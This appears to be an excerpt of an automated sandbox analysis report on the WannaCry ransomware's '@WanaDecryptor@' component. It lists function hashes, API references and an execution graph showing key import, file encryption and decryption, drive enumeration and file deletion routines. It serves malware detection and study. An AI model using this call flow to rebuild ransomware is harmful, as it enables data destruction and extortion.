                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID:
                                                                                                                          • String ID:
                                                                                                                          • API String ID:
                                                                                                                          • Opcode ID: 8c2876bc683c79bd0f77c5504c849a1db55fe951b0604bd7b402bcddc95cd4ad
                                                                                                                          • Instruction ID: 94773d8abf21b8992377dbaff6472308c4204eb390e4227f2b12783aedecbb61
                                                                                                                          • Opcode Fuzzy Hash: 8c2876bc683c79bd0f77c5504c849a1db55fe951b0604bd7b402bcddc95cd4ad
                                                                                                                          • Instruction Fuzzy Hash: 070121B16016109BDA209F29EA417CBB3989F40354F08443BE545D7310F7F8E9E5CB99
                                                                                                                          Function 0040DAD0 Relevance: 6.0, APIs: 4, Instructions: 45networkCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: closesocketsendsetsockoptshutdown
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 4063721217-0
                                                                                                                          • Opcode ID: b8ea9e4fb017428832e7fdcfab5aceec40e53c9ca13a03ff53aa9a0524c23656
                                                                                                                          • Instruction ID: 511c5ca045328faec3d78f5435f76df0282562355462c5d2c83a81ecee0c9610
                                                                                                                          • Opcode Fuzzy Hash: b8ea9e4fb017428832e7fdcfab5aceec40e53c9ca13a03ff53aa9a0524c23656
                                                                                                                          • Instruction Fuzzy Hash: 9D014075200B40ABD3208B28C849B97B7A5AF89721F808B2CF6A9962D0D7B4A4088795
                                                                                                                          Function 00404430 Relevance: 6.0, APIs: 4, Instructions: 44COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #2379$CursorEventMouseTrack
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 2186836335-0
                                                                                                                          • Opcode ID: 8cae4badaefa13b91853eadf55a8840a780c3bb417d72a3b214d508dff938200
                                                                                                                          • Instruction ID: d4ee5e4a134dc88e0fb0520758ee2c50d42c0b6297011b3ab606eb820e3435c7
                                                                                                                          • Opcode Fuzzy Hash: 8cae4badaefa13b91853eadf55a8840a780c3bb417d72a3b214d508dff938200
                                                                                                                          • Instruction Fuzzy Hash: 1501B5B46047209BC714EF1895047EFBBD46FC4718F40881EEAC557382E6B898058B99
                                                                                                                          Function 00404CF0 Relevance: 6.0, APIs: 4, Instructions: 37COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #2414.MFC42(?,?,?,?,?,?,?,00404CD8), ref: 00404D2C
                                                                                                                          • #2414.MFC42(?,?,?,?,?,?,?,00404CD8), ref: 00404D4B
                                                                                                                          • #800.MFC42(?,?,?,?,?,?,?,00404CD8), ref: 00404D5E
                                                                                                                          • #641.MFC42(?,?,?,?,?,?,?,00404CD8), ref: 00404D6D
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #2414$#641#800
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 2580907805-0
                                                                                                                          • Opcode ID: 16959137cf9ed8865fc6a78509c90b23480716c09409454935714356ef62aba6
                                                                                                                          • Instruction ID: 6757f658c1b9d10fae8a918e1fd1a20a9830f850e3759812b0851a74ca26fea9
                                                                                                                          • Opcode Fuzzy Hash: 16959137cf9ed8865fc6a78509c90b23480716c09409454935714356ef62aba6
                                                                                                                          • Instruction Fuzzy Hash: F3012975508B42CBC300DF19C54538AFBE8BBE4710F54491EE095877A1D7F851998BD6
                                                                                                                          Function 00404170 Relevance: 6.0, APIs: 4, Instructions: 34COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #2414.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041B2
                                                                                                                          • #800.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041C5
                                                                                                                          • #800.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041D2
                                                                                                                          • #795.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041E1
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #800$#2414#795
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 932896513-0
                                                                                                                          • Opcode ID: de7d764f310d2b07daedf415afe273c0a0adcf5a3115b404c86b6cccc177a748
                                                                                                                          • Instruction ID: 4f5e1f32c4d0deb5ef0c4e05178b03e64e757a210687b4ed5005f9af419c08f7
                                                                                                                          • Opcode Fuzzy Hash: de7d764f310d2b07daedf415afe273c0a0adcf5a3115b404c86b6cccc177a748
                                                                                                                          • Instruction Fuzzy Hash: A3018F74108792CFC300DF19C14138AFFE4ABA4720F54491EE091833A2D7F85198CBE6
                                                                                                                          Function 00402E00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #825.MFC42(?,?,00000000,?,?,0040276A,?,?,?), ref: 00402E44
                                                                                                                          • #825.MFC42(?,?,00000000,?,?,0040276A,?,?,?), ref: 00402E56
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #825
                                                                                                                          • String ID: j'@
                                                                                                                          • API String ID: 41483190-370697233
                                                                                                                          • Opcode ID: 9c0cb0aced43a296d20ff8ffc4d70ac1f7ba505f3886b3a42eb6c6f4aca8c5be
                                                                                                                          • Instruction ID: 592289367714aa5b9ee555d1ba3af08658367c911d5aba0fbb12e5c1e921281d
                                                                                                                          • Opcode Fuzzy Hash: 9c0cb0aced43a296d20ff8ffc4d70ac1f7ba505f3886b3a42eb6c6f4aca8c5be
                                                                                                                          • Instruction Fuzzy Hash: 771185B62046008FC724CF19D18096BFBE6FF99320714893EE29A97380D376EC05CBA5
                                                                                                                          Function 00407650 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • #2379.MFC42 ref: 00407692
                                                                                                                            • Part of subcall function 004076A0: time.MSVCRT(00000000,?,?,?), ref: 004076DA
                                                                                                                          • #2379.MFC42(00000001), ref: 00407667
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000013.00000002.6584078378.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000013.00000002.6583997368.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584175623.0000000000415000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584259227.000000000041F000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          • Associated: 00000013.00000002.6584424761.0000000000423000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_19_2_400000_@WanaDecryptor@.jbxd
                                                                                                                          Yara matches
                                                                                                                          Similarity
                                                                                                                          • API ID: #2379$time
                                                                                                                          • String ID: Wana Decrypt0r 2.0
                                                                                                                          • API String ID: 2017816395-4201229886
                                                                                                                          • Opcode ID: 6fa7a2fc7c6a80e94799593ebee71b884435da4c0666664eaea2c240bbcf3164
                                                                                                                          • Instruction ID: 44448bb0997210edcc5ff830349606876b09c28d76a722c823a6afa91302379c
                                                                                                                          • Opcode Fuzzy Hash: 6fa7a2fc7c6a80e94799593ebee71b884435da4c0666664eaea2c240bbcf3164
                                                                                                                          • Instruction Fuzzy Hash: 58E08631B0491017D6117B19A942B9F51845B60724F104C3FF506FA2C2E96E7D9183DF

                                                                                                                          Execution Graph

                                                                                                                          Execution Coverage:4%
                                                                                                                          Dynamic/Decrypted Code Coverage:0%
                                                                                                                          Signature Coverage:0%
                                                                                                                          Total number of Nodes:1683
                                                                                                                          Total number of Limit Nodes:14
                                                                                                                          execution_graph 5545 408c40 5546 408d5c 5545->5546 5548 408c97 5545->5548 5547 408c9d _ftol _ftol 5547->5548 5548->5546 5548->5547 6008 401140 #4710 SendMessageA SendMessageA #537 6013 401970 #3092 #6199 #800 6008->6013 6010 401199 SetTimer 6011 4011c3 CreateThread 6010->6011 6012 4011dd 6010->6012 6011->6012 6014 4012d0 6011->6014 6013->6010 6017 4012e0 sprintf sprintf GetFileAttributesA 6014->6017 6018 4013b0 fopen 6017->6018 6019 401350 6017->6019 6021 4012d9 6018->6021 6022 4013ef fread fclose sprintf fopen 6018->6022 6039 404640 InitializeCriticalSection 6019->6039 6022->6021 6024 401471 fread fclose sprintf fopen 6022->6024 6023 401359 6040 4047c0 6023->6040 6024->6021 6025 4014f2 fread fclose 6024->6025 6057 40be90 strncpy strncpy strncpy 6025->6057 6028 401377 6030 401395 DeleteFileA 6028->6030 6031 40137b 6028->6031 6029 401525 6058 40c240 6029->6058 6056 404690 DeleteCriticalSection 6030->6056 6101 404690 DeleteCriticalSection 6031->6101 6035 401575 6035->6021 6100 404640 InitializeCriticalSection 6035->6100 6037 40158c 6038 4047c0 16 API calls 6037->6038 6038->6031 6039->6023 6041 4046b0 CryptAcquireContextA 6040->6041 6043 40484e 6041->6043 6042 4048f3 6042->6028 6043->6042 6044 4049b0 7 API calls 6043->6044 6045 40486e 6044->6045 6046 4048e5 _local_unwind2 6045->6046 6048 4049b0 7 API calls 6045->6048 6046->6042 6049 40488a 6048->6049 6049->6046 6050 404895 CryptEncrypt 6049->6050 6050->6046 6051 404908 CryptDecrypt 6050->6051 6051->6046 6052 404932 strncmp 6051->6052 6053 404984 6052->6053 6054 40495e _local_unwind2 6052->6054 6102 4049a6 6053->6102 6054->6028 6056->6018 6057->6029 6059 40c25f 6058->6059 6060 40bed0 110 API calls 6059->6060 6061 40c29b 6060->6061 6062 40c2a2 6061->6062 6063 40c2c8 6061->6063 6064 40c2bc 6062->6064 6065 40c2ad SendMessageA 6062->6065 6066 40c2e5 6063->6066 6067 40c2d9 SendMessageA 6063->6067 6069 40dbf0 free 6064->6069 6065->6064 6068 40dc00 4 API calls 6066->6068 6067->6066 6070 40c2f8 6068->6070 6095 40c3d8 6069->6095 6071 40dc00 4 API calls 6070->6071 6072 40c313 6071->6072 6073 40dd00 4 API calls 6072->6073 6074 40c324 6073->6074 6075 40dd00 4 API calls 6074->6075 6076 40c335 6075->6076 6077 40dc00 4 API calls 6076->6077 6078 40c350 6077->6078 6079 40dc00 4 API calls 6078->6079 6080 40c36b 6079->6080 6081 40dc00 4 API calls 6080->6081 6082 40c37d 6081->6082 6083 40c3e0 6082->6083 6084 40c3a9 6082->6084 6085 40c3f0 6083->6085 6086 40c3e4 SendMessageA 6083->6086 6087 40c3b9 6084->6087 6088 40c3ad SendMessageA 6084->6088 6089 40c419 6085->6089 6090 40c44d 6085->6090 6086->6085 6091 40dbf0 free 6087->6091 6088->6087 6092 40c429 6089->6092 6093 40c41d SendMessageA 6089->6093 6094 40c49c 6090->6094 6097 40c45e fopen 6090->6097 6091->6095 6099 40dbf0 free 6092->6099 6093->6092 6094->6064 6096 40c4a0 SendMessageA 6094->6096 6095->6035 6096->6064 6097->6094 6098 40c479 fwrite fclose 6097->6098 6098->6094 6099->6095 6100->6037 6101->6021 6103 404770 3 API calls 6102->6103 6104 4049ad 6103->6104 6104->6042 6228 409a40 6232 409d40 6228->6232 6231 409ae7 #2414 #2414 6233 409a87 OffsetRect CreateRectRgn #1641 #5781 6232->6233 6233->6231 6471 409f40 PtVisible 6472 40cf40 6480 40d300 6472->6480 6474 40cf61 6475 40d300 6 API calls 6474->6475 6476 40cf66 6474->6476 6477 40cf87 6475->6477 6478 40d300 6 API calls 6477->6478 6479 40cf8c 6477->6479 6478->6479 6481 40d31f 6480->6481 6482 40d32e 6480->6482 6481->6474 6483 40d339 6482->6483 6484 40d373 time 6482->6484 6486 40d363 6482->6486 6487 40d378 6482->6487 6483->6474 6488 40d493 6484->6488 6489 40d41e 6484->6489 6502 40d2b0 6486->6502 6491 40d3b0 6487->6491 6492 40d380 6487->6492 6493 40d4b1 6488->6493 6498 40d4a8 free 6488->6498 6489->6488 6500 40d487 time 6489->6500 6501 40d469 Sleep 6489->6501 6506 412a90 malloc 6491->6506 6494 40d2b0 memmove 6492->6494 6493->6474 6494->6484 6496 40d3b6 6497 40d3c1 6496->6497 6499 40d2b0 memmove 6496->6499 6497->6474 6498->6493 6499->6484 6500->6488 6500->6489 6501->6489 6503 40d2f5 6502->6503 6504 40d2be 6502->6504 6503->6484 6505 40d2c3 memmove 6504->6505 6505->6503 6505->6505 6506->6496 5549 404050 #616 5550 404068 5549->5550 5551 40405f #825 5549->5551 5551->5550 6105 404150 6110 404170 #2414 #800 #800 #795 6105->6110 6107 404158 6108 404168 6107->6108 6109 40415f #825 6107->6109 6109->6108 6110->6107 6234 403250 6235 403261 #825 6234->6235 6236 40326a 6234->6236 6235->6236 6237 407650 6238 40765e 6237->6238 6241 407670 6237->6241 6239 4076a0 20 API calls 6238->6239 6242 407665 #2379 6239->6242 6240 407690 #2379 6241->6240 6243 40b620 9 API calls 6241->6243 6244 40768d 6243->6244 6244->6240 6245 413254 _exit 6111 413556 ??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE 5417 405a60 5464 40b620 FindWindowW 5417->5464 5421 405aab #2514 5487 403f20 #2414 5421->5487 5423 405ae9 5488 403f20 #2414 5423->5488 5425 405b04 5489 403f20 #2414 5425->5489 5427 405b1f 5490 403f20 #2414 5427->5490 5429 405b3f 5491 403f20 #2414 5429->5491 5431 405b5a 5492 403f20 #2414 5431->5492 5433 405b75 5493 403f20 #2414 5433->5493 5435 405b90 5494 403f20 #2414 5435->5494 5437 405bab 5495 403f20 #2414 5437->5495 5439 405bc6 5496 403f20 #2414 5439->5496 5441 405be1 5497 403f20 #2414 5441->5497 5443 405bfc 5498 403f90 #2414 5443->5498 5445 405c10 5499 403f90 #2414 5445->5499 5447 405c24 #800 #800 #800 #800 #781 5500 4050a0 #800 #795 5447->5500 5449 405c9c 5501 4050a0 #800 #795 5449->5501 5451 405cb0 5502 404170 #2414 #800 #800 #795 5451->5502 5453 405cc4 5503 404170 #2414 #800 #800 #795 5453->5503 5455 405cd8 5504 404170 #2414 #800 #800 #795 5455->5504 5457 405cec 5505 404170 #2414 #800 #800 #795 5457->5505 5459 405d00 5506 405d90 #654 #765 5459->5506 5461 405d14 5507 405d90 #654 #765 5461->5507 5463 405d28 #609 #609 #616 #641 5465 40b634 7 API calls 5464->5465 5466 405a8a #1134 #2621 #6438 5464->5466 5465->5466 5467 40b687 ExitProcess 5465->5467 5468 4060e0 #324 #567 #567 #567 5466->5468 5508 4085c0 7 API calls 5468->5508 5470 406162 5471 4085c0 9 API calls 5470->5471 5472 406172 5471->5472 5512 404090 7 API calls 5472->5512 5474 406182 5513 404090 7 API calls 5474->5513 5476 406192 5514 404090 7 API calls 5476->5514 5478 4061a2 5515 404090 7 API calls 5478->5515 5480 4061b2 5516 405000 #567 #540 5480->5516 5482 4061c2 5483 405000 2 API calls 5482->5483 5484 4061d2 #567 #540 #540 #540 #540 5483->5484 5518 407640 5484->5518 5486 4062cb 7 API calls 5486->5421 5487->5423 5488->5425 5489->5427 5490->5429 5491->5431 5492->5433 5493->5435 5494->5437 5495->5439 5496->5441 5497->5443 5498->5445 5499->5447 5500->5449 5501->5451 5502->5453 5503->5455 5504->5457 5505->5459 5506->5461 5507->5463 5509 408660 #6140 5508->5509 5510 408654 5508->5510 5509->5470 5510->5509 5511 40865a GetSysColor 5510->5511 5511->5509 5512->5474 5513->5476 5514->5478 5515->5480 5517 40504a 5516->5517 5517->5482 5518->5486 5552 403860 SendMessageA 5553 403892 SendMessageA 5552->5553 5554 403883 #1200 5552->5554 5555 4038d1 5553->5555 5556 4038a5 SendMessageA CreateThread 5553->5556 5556->5555 5557 4038e0 5556->5557 5560 4038f0 5557->5560 5559 4038e9 5579 403eb0 6 API calls 5560->5579 5562 403916 SendMessageA 5563 4039e1 5562->5563 5564 403937 SendMessageA 5562->5564 5626 403eb0 6 API calls 5563->5626 5565 403951 5564->5565 5566 403958 5564->5566 5580 403af0 fopen 5565->5580 5597 401e90 5566->5597 5569 4039ea CloseHandle 5569->5559 5571 403961 sprintf 5602 402020 5571->5602 5573 403998 5574 40399c 5573->5574 5611 403a20 5573->5611 5575 4039cd 5574->5575 5578 4039c8 #1200 5574->5578 5619 401f30 5575->5619 5578->5575 5579->5562 5581 403b41 5580->5581 5582 403b28 5580->5582 5583 401e90 InitializeCriticalSection 5581->5583 5582->5566 5584 403b4d 5583->5584 5585 402020 14 API calls 5584->5585 5586 403b67 5585->5586 5587 403b6b 5586->5587 5595 403b9b 5586->5595 5588 401f30 6 API calls 5587->5588 5590 403b82 5588->5590 5589 403c61 fclose 5591 401f30 6 API calls 5589->5591 5590->5566 5593 403c8f 5591->5593 5592 403bb2 fgets 5594 403c5f 5592->5594 5592->5595 5593->5566 5594->5589 5595->5589 5595->5592 5595->5594 5627 402650 MultiByteToWideChar 5595->5627 5719 404640 InitializeCriticalSection 5597->5719 5599 401eb6 5720 404640 InitializeCriticalSection 5599->5720 5601 401ec4 5601->5571 5721 4046f0 5602->5721 5604 402031 5605 402035 5604->5605 5606 402048 GlobalAlloc 5604->5606 5607 4046f0 12 API calls 5604->5607 5605->5573 5608 402061 5606->5608 5609 402066 GlobalAlloc 5606->5609 5607->5606 5608->5573 5610 402079 5609->5610 5610->5573 5612 403a32 GetLogicalDrives 5611->5612 5613 403adc 5611->5613 5617 403a48 5612->5617 5613->5574 5614 403a53 GetDriveTypeW 5615 403a81 GetDiskFreeSpaceExW 5614->5615 5614->5617 5615->5617 5616 403ace 5616->5574 5617->5614 5617->5616 5759 4026b0 5617->5759 5849 401fa0 5619->5849 5621 401f60 5858 404690 DeleteCriticalSection 5621->5858 5623 401f7a 5859 404690 DeleteCriticalSection 5623->5859 5625 401f8a 5625->5563 5626->5569 5630 402560 wcscpy wcsrchr 5627->5630 5629 40269a 5629->5595 5631 4025c9 wcscat 5630->5631 5632 402599 _wcsicmp 5630->5632 5633 4025bd 5631->5633 5632->5633 5634 4025ae _wcsicmp 5632->5634 5643 4020a0 CreateFileW 5633->5643 5634->5631 5634->5633 5636 4025eb 5637 402629 DeleteFileW 5636->5637 5638 4025ef DeleteFileW 5636->5638 5639 402634 5637->5639 5638->5639 5640 4025fa 5638->5640 5639->5629 5641 402617 5640->5641 5642 4025fe MoveFileW 5640->5642 5641->5629 5642->5629 5644 402143 GetFileTime ReadFile 5643->5644 5662 402139 _local_unwind2 5643->5662 5646 40217c 5644->5646 5644->5662 5647 402196 ReadFile 5646->5647 5646->5662 5648 4021b3 5647->5648 5647->5662 5649 4021c3 ReadFile 5648->5649 5648->5662 5650 4021ea ReadFile 5649->5650 5649->5662 5651 402208 ReadFile 5650->5651 5650->5662 5652 402226 5651->5652 5651->5662 5653 402233 CloseHandle CreateFileW 5652->5653 5654 4022f9 CreateFileW 5652->5654 5656 402264 SetFilePointer ReadFile 5653->5656 5653->5662 5655 40232c 5654->5655 5654->5662 5676 404af0 5655->5676 5658 402297 5656->5658 5656->5662 5660 4022a4 SetFilePointer WriteFile 5658->5660 5658->5662 5659 40234d 5661 402372 5659->5661 5665 404af0 4 API calls 5659->5665 5660->5662 5663 4022ce 5660->5663 5661->5662 5681 40a150 5661->5681 5662->5636 5663->5662 5664 4022db SetFilePointer SetEndOfFile 5663->5664 5667 402497 SetFileTime 5664->5667 5665->5661 5668 4024e0 _local_unwind2 5667->5668 5669 4024bc CloseHandle MoveFileW 5667->5669 5668->5636 5669->5668 5671 402477 SetFilePointerEx SetEndOfFile 5671->5667 5672 4023e0 ReadFile 5672->5662 5673 4023a7 5672->5673 5673->5662 5673->5671 5673->5672 5688 40b3c0 5673->5688 5677 404b04 EnterCriticalSection CryptDecrypt 5676->5677 5678 404afc 5676->5678 5679 404b3b LeaveCriticalSection 5677->5679 5680 404b2d LeaveCriticalSection 5677->5680 5678->5659 5679->5659 5680->5659 5682 40a184 5681->5682 5683 40a15e ??0exception@@QAE@ABQBD _CxxThrowException 5681->5683 5684 40a197 ??0exception@@QAE@ABQBD _CxxThrowException 5682->5684 5685 40a1bd 5682->5685 5683->5682 5684->5685 5686 40a1d0 ??0exception@@QAE@ABQBD _CxxThrowException 5685->5686 5687 40a1f6 5685->5687 5686->5687 5687->5673 5689 40b3d0 ??0exception@@QAE@ABQBD _CxxThrowException 5688->5689 5690 40b3ee 5688->5690 5689->5690 5691 40b602 ??0exception@@QAE@ABQBD _CxxThrowException 5690->5691 5699 40b410 5690->5699 5692 40b5ba 5694 40b0c0 4 API calls 5692->5694 5700 402424 WriteFile 5692->5700 5694->5692 5696 40b4cf ??0exception@@QAE@ABQBD _CxxThrowException 5698 40b4ed 5696->5698 5697 40b59c ??0exception@@QAE@ABQBD _CxxThrowException 5697->5692 5698->5692 5698->5697 5698->5700 5707 40adc0 5698->5707 5699->5696 5699->5698 5699->5699 5699->5700 5701 40b0c0 5699->5701 5700->5662 5700->5673 5702 40b0d0 ??0exception@@QAE@ABQBD _CxxThrowException 5701->5702 5703 40b0ee 5701->5703 5702->5703 5706 40b114 5703->5706 5713 40a9d0 5703->5713 5706->5699 5708 40add0 ??0exception@@QAE@ABQBD _CxxThrowException 5707->5708 5709 40adee 5707->5709 5708->5709 5710 40ae14 5709->5710 5716 40a610 5709->5716 5710->5698 5714 40a9e1 ??0exception@@QAE@ABQBD _CxxThrowException 5713->5714 5715 40a9ff 5713->5715 5714->5715 5715->5699 5717 40a621 ??0exception@@QAE@ABQBD _CxxThrowException 5716->5717 5718 40a63f 5716->5718 5717->5718 5718->5698 5719->5599 5720->5601 5738 4046b0 5721->5738 5723 4046f8 5724 404709 5723->5724 5725 4046fc 5723->5725 5727 404711 CryptImportKey 5724->5727 5728 40473e 5724->5728 5743 404770 5725->5743 5731 404760 5727->5731 5732 404731 5727->5732 5750 4049b0 CreateFileA 5728->5750 5731->5604 5733 404770 3 API calls 5732->5733 5735 404738 5733->5735 5734 40474c 5734->5731 5736 404770 3 API calls 5734->5736 5735->5604 5737 40475a 5736->5737 5737->5604 5739 4046b7 CryptAcquireContextA 5738->5739 5740 4046e0 5739->5740 5741 4046d7 5739->5741 5740->5723 5741->5739 5742 4046dd 5741->5742 5742->5723 5744 404788 5743->5744 5745 40477a CryptDestroyKey 5743->5745 5746 40479d 5744->5746 5747 40478f CryptDestroyKey 5744->5747 5745->5744 5748 404703 5746->5748 5749 4047a4 CryptReleaseContext 5746->5749 5747->5746 5748->5604 5749->5748 5751 404a1b _local_unwind2 5750->5751 5752 404a09 GetFileSize 5750->5752 5751->5734 5752->5751 5753 404a25 5752->5753 5753->5751 5755 404a38 GlobalAlloc 5753->5755 5755->5751 5756 404a49 ReadFile 5755->5756 5756->5751 5757 404a64 CryptImportKey 5756->5757 5757->5751 5758 404a81 _local_unwind2 5757->5758 5758->5734 5760 40c8f0 #823 5759->5760 5761 4026e4 5760->5761 5762 40c8f0 #823 5761->5762 5763 402706 swprintf FindFirstFileW 5762->5763 5764 40274d 5763->5764 5778 4027b4 5763->5778 5798 402e00 5764->5798 5766 40276a #825 5768 402e00 2 API calls 5766->5768 5767 4027d4 wcscmp 5770 40295d FindNextFileW 5767->5770 5771 4027ee wcscmp 5767->5771 5772 4027a0 #825 5768->5772 5769 402978 FindClose 5776 40298d 5769->5776 5780 4029b9 5769->5780 5770->5769 5770->5778 5771->5770 5773 402808 swprintf GetFileAttributesW 5771->5773 5775 402ace 5772->5775 5777 4028b6 wcscmp 5773->5777 5773->5778 5774 4029ef swprintf DeleteFileW swprintf DeleteFileW 5781 402a6a #825 5774->5781 5782 402a4f 5774->5782 5775->5617 5776->5780 5788 402560 59 API calls 5776->5788 5777->5770 5779 4028d0 wcscmp 5777->5779 5778->5767 5778->5769 5778->5770 5791 402856 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N wcslen ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI 5778->5791 5804 402af0 _wcsnicmp 5778->5804 5779->5770 5784 4028e6 wcscmp 5779->5784 5780->5774 5790 4026b0 84 API calls 5780->5790 5786 402a94 5781->5786 5787 402aba #825 5781->5787 5793 402a66 5782->5793 5830 402e90 